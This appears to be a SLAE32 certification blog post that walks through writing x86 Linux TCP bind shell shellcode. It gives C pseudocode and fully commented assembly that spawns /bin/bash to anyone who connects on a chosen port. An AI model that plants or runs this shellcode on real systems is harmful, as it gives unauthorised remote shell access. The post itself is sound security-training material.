/SLAE32: Assignment 1

# Introduction

For assignment one, I needed to create a TCP bind shell shellcode which can be configured to use any user-defined port (with a wrapper script in any language).

# Pseudocode

The whole process of binding a shell to a TCP port is not particularily complicated. It involves a series of syscalls with a couple of structures and that's it. Overall it would look something like this (C pseudocode, contains errors):

First create a socket of the desired type:
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
Next enable the SO_REUSEADDR option so that the port won't get blocked up when the shellcode dies (this is optional and can be removed to reduce the shellcode length):
int optval = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
Next bind the socket to the user-defined port:
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT)
addr.in_addr.s_addr = INADDR_ANY;

bind(sockfd, addr, sizeof(addr));
Once bound, listen on the port for an incoming connection:
listen(sockfd, 0);
Once someone connects, save the new file descriptor as clientfd and uses dup2 to make all STDIN / STDOUT / STDERR streams go through the TCP connection:
int clientfd = accept(sockfd, NULL, NULL);

dup2(0, clientfd);
dup2(1, clientfd);
dup2(2, clientfd);
Once that is all set up, Execute /bin/bash and the connector will receive all input / output over the connection.
execve("/bin/bash", {"/bin/bash"}, NULL);

# Assembly

In assembly this is all a bit longer of course. My code works like this:
; A1 - Shell_Bind_TCP
; William Mark Moody
; PA-25640
; 27.12.2021
    
global _start
    
section .text
_start:
Create the socket. In Linux x86 assembly you need to call socketcall and not the socket functions directly (socket, bind, accept, listen, ...). The arguments for socket() in this case are pushed onto the stack and a pointer to the top of the stack is copied into ECX (2nd parameter of socketcall). The return value is then stored in EDI for later usage (this is the socket file descriptor which must be passed as an argument in many socket functions):
    ; socketcall (int call, unsigned long *args);
    ; socket (int domain, int type, int protocol);
    
    push byte 0x6           ; int protocol => IPPROTO_TCP = 0x6
    push byte 0x1           ; int type => SOCK_STREAM = 0x1
    push byte 0x2           ; int domain => AF_INET = 0x2
    
    xor eax, eax
    mov al, 0x66            ; SYS_SOCKETCALL = 102
    mov esi, eax            ; Save for later (to reduce shellcode length)
    xor ebx, ebx
    mov bl, 0x1             ; int call => SYS_SOCKET = 0x1
    mov ecx, esp            ; unsigned long *args => arguments for socket()
    int 0x80
    
    mov edi, eax            ; Save the return value for later (sockfd)
Next I call setsockopt to enable SO_REUSEADDR as I explained in the previous section:
    ; socketcall (int call, unsigned long *args);
    ; setsockopt (int sockfd, int level, int optname, 
    ;             const void *optval, socklen_t optlen);
    
    push byte 0x4           ; socklen_t optlen => sizeof(0x1) = 4 bytes
    push dword esp          ; const void *optval => pointer to true
    push byte 0x2           ; int optname => SO_REUSEADDR = 0x2
    push byte 0x1           ; int level => SOL_SOCKET = 0x1
    push dword eax          ; int sockfd => return value from SYS_SOCKET
    
    mov eax, esi            ; SYS_SOCKETCALL = 102
    mov bl, 0xe             ; int call => SYS_SETSOCKOPT = 0xe
    mov ecx, esp            ; unsigned long *args => arguments for setsockopt()
    int 0x80
Once that's done, I create the necessary structures and call bind. In this case sockaddr_in is just three DWORDs that can be pushed onto the stack and then pointed to as an argument. The port is replaced with PLACEHOLDER since my wrapper script (wrapper.py) looks for this string and replaces it just before compiling:
    ; socketcall (int call, unsigned long *args);
    ; bind (int sockfd, const struct sockaddr *addr,
    ;       socklen_t addrlen);
    
    ; struct sockaddr_in {
    ;     short sin_family;         -- 2 bytes, AF_INET
    ;     unsigned short sin_port;  -- 2 bytes, htons(PORT)
    ;     struct in_addr;           -- 4 bytes, INADDR_ANY (0x00000000)
    ;     char sin_zero[8];         -- 8 bytes, 0x00000000 0x00000000
    ; }
    
    ; struct in_addr {
    ;     unsigned long s_addr;
    ; }
    
    xor ebx, ebx
    push dword ebx          ; char sin_zero[8] 2/2 => 0x00000000
    push dword ebx          ; char sin_zero[8] 1/2 => 0x00000000
    push dword ebx          ; struct in_addr => INADDR_ANY = 0x00000000
    push word PLACEHOLDER   ; unsigned short sin_port => inserted by wrapper.py
    mov bl, 0x2
    push word bx            ; short sin_family => AF_INET = 0x2
    
    mov ecx, esp            ; Save pointer to struct
    
    push byte 0x10          ; socklen_t addrlen => 16 bytes (see above)
    push dword ecx          ; const struct sockaddr *addr =>
    push dword edi          ; int sockfd => return value from SYS_SOCKET
    
    mov eax, esi            ; SYS_SOCKETCALL = 102
                            ; int call => SYS_BIND = 0x2 
                            ; EBX is already 0x2 from above (reducing length)
    mov ecx, esp            ; unsigned long *args => arguments for bind()
    int 0x80
Next I tell the shellcode to listen on the socket it just created and accept the first connection. The pointers to the structures that accept wants are just null-pointers since it doesn't matter who connects to the port.
    ; socketcall (int call, unsigned long *args);
    ; listen (int sockfd, int backlog);
    
    xor ebx, ebx
    push dword ebx          ; int backlog => 0
    push dword edi          ; int sockfd => return value from SYS_SOCKET
    
    mov eax, esi            ; SYS_SOCKETCALL = 102
    mov bl, 0x4             ; int call => SYS_LISTEN = 0x4
    mov ecx, esp            ; unsigned long *args => arguments for listen()
    int 0x80
    
    ; socketcall (int call, unsigned long *args);
    ; accept (int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    
    ; NOTE: In this shellcode, it is irrelevant who connects to the
    ;       port, so I will pass a NULL for both the second and third
    ;       arguments
    
    xor ebx, ebx
    push dword ebx          ; socklen_t *addrlen => NULL
    push dword ebx          ; struct sockaddr *addr => NULL
    push dword edi          ; int sockfd => return value from SYS_SOCKET
    
    mov eax, esi            ; SYS_SOCKETCALL = 102
    mov bl, 0x5             ; int call => SYS_ACCEPT = 0x5
    mov ecx, esp            ; unsigned long *args => arguments for accept()
    int 0x80
    
    mov ebx, eax            ; Store the return value (client fd) in EBX,
                            ; since it will be used in the dup2 calls.
Once a client has connected, the shellcode will duplicate the STDIN / STDOUT / STDERR file descriptors to route them over the TCP connection:
    ; dup2 (int oldfd, int newfd);
    
    xor eax, eax
    mov al, 0x3f            ; SYS_DUP2 = 0x3f
                            ; int newfd => return value from SYS_ACCEPT
    xor ecx, ecx            ; int oldfd => STDIN = 0x0
    int 0x80
    
    ; dup2 (int oldfd, int newfd);
    
                            ; Assuming success, result will be 0x0, so we
                            ; don't need to clear EAX
    mov al, 0x3f            ; SYS_DUP2 = 0x3f
                            ; int newfd => return value from SYS_ACCEPT
    inc ecx                 ; int oldfd => STDOUT = 0x1
    int 0x80
    
    ; dup2 (int oldfd, int newfd);
    
                            ; Assuming success, result will be 0x1, so we
                            ; don't need to clear EAX
    mov al, 0x3f            ; SYS_DUP2 = 0x3f
                            ; int newfd => return value from SYS_ACCEPT
    inc ecx                 ; int oldfd => STDERR = 0x2
    int 0x80
Once that's done, the final syscall to execve is made which launches /bin/bash and gives the client a remote shell.
    ; execve (const char *pathname, char *const argv[],
    ;         char *const envp[]);
    
    push byte 0x68          ; ...h
    push dword 0x7361622f   ; sab/
    push dword 0x6e69622f   ; nib/
    
    mov ebx, esp            ; const char *pathname => *"//bin/bash"
    xor eax, eax
    push eax
    mov edx, esp            ; char *const envp[] => NULL
    push ebx,
    mov ecx, esp            ; char *const argv[] => *{*"//bin/bash"}
    mov al, 0xb             ; SYS_EXECVE = 0xb
    int 0x80    

# Wrapper

To allow a user to configure the listener port, as well as compile the shellcode, I created a wrapper script in Python3. Running it prompts the user for a port, automatically converts it to the necessary format for the shellcode, replaces the bytes in the source code as necessary then does all the assembling, linking and dumping of shellcode as well as checks for null-bytes and length as shown below:



Note: Users will get a null-byte in their output if they try to bind to a port below 256. This could be avoided quite trivially with some extra assembly instructions, but since this is just the wrapper script I decided to leave it as is.

# SLAE32 Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linx-assembly-expert/
Student ID: PA-25640

All my code for the exam is available in my SLAE32 exam Github repository.